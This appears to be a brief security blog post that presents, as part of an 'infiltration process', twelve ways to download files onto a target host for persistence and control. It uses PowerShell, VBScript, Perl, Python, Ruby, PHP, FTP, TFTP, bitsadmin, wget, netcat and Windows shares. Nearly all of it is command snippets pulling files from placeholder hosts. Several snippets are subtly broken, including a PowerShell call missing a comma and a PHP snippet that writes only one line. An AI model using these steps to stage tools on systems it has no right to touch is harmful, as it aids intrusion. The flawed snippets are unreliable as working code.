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12 ways to download a file from webserver

Do Son September 12, 2017 1 minute read
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In our infiltration process, we usually need to send some files to the target host, to achieve the right to maintain, control and other purposes. This article will introduce 12 ways to download files.

  • PowerShell File

    $p = New-Object System.Net.WebClient
    
    $p.DownloadFile("http://domain/file" "C:\%homepath%\file")
    C:\>powershell set-executionpolicy unrestricted
    PS C:\> .\test.ps1
  • Visual Basic

    Set args = Wscript.Arguments
    
    Url = "http://domain/file"
    dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
    dim bStrm: Set bStrm = createobject("Adodb.Stream")
    xHttp.Open "GET", Url, False
    xHttp.Send
    with bStrm
    .type = 1 '
    .open
    .write xHttp.responseBody
    .savetofile " C:\%homepath%\file", 2 '
    end with

    C:>cscript test.vbs
  • Perl

    #!perl
    
    #!/usr/bin/perl
    use LWP::Simple;
    getstore("http://domain/file", "file");

    root@kali:~# perl test.pl
  • Python

    #!python
    
    #!/usr/bin/python
    import urllib2
    u = urllib2.urlopen('http://domain/file')
    localFile = open('local_file', 'w')
    localFile.write(u.read())
    localFile.close()

    root@kali:~# python test.py
  • Ruby

    #!ruby
    
    #!/usr/bin/ruby
    require 'net/http'
    Net::HTTP.start("www.domain.com") { |http|
    r = http.get("/file")
    open("save_location", "wb") { |file|
    file.write(r.body)
    }
    }
    root@kali:~# ruby test.rb
  • PHP

    #!/usr/bin/php
    
    <?php
    $data = @file("http://example.com/file");
    $lf = "local_file";
    $fh = fopen($lf, 'w');
    fwrite($fh, $data[0]);
    fclose($fh);
    ?>
    root@kali:~# php test.php
  • FTP

    ftp 127.0.0.1
    
    username
    password
    get file
    exit
  • TFTP

    tftp -i host GET C:\%homepath%\file location_of_file_on_tftp_server
  • Bitsadmin

    bitsadmin /transfer n http://domain/file c:\%homepath%\file
  • Wget

    wget http://example.com/file
  • Netcat

    cat file | nc -l 1234
    

    nc host_ip 1234 > file
  • Windows Share

    net use x: \\127.0.0.1\share /user:example.com\userID myPassword

 

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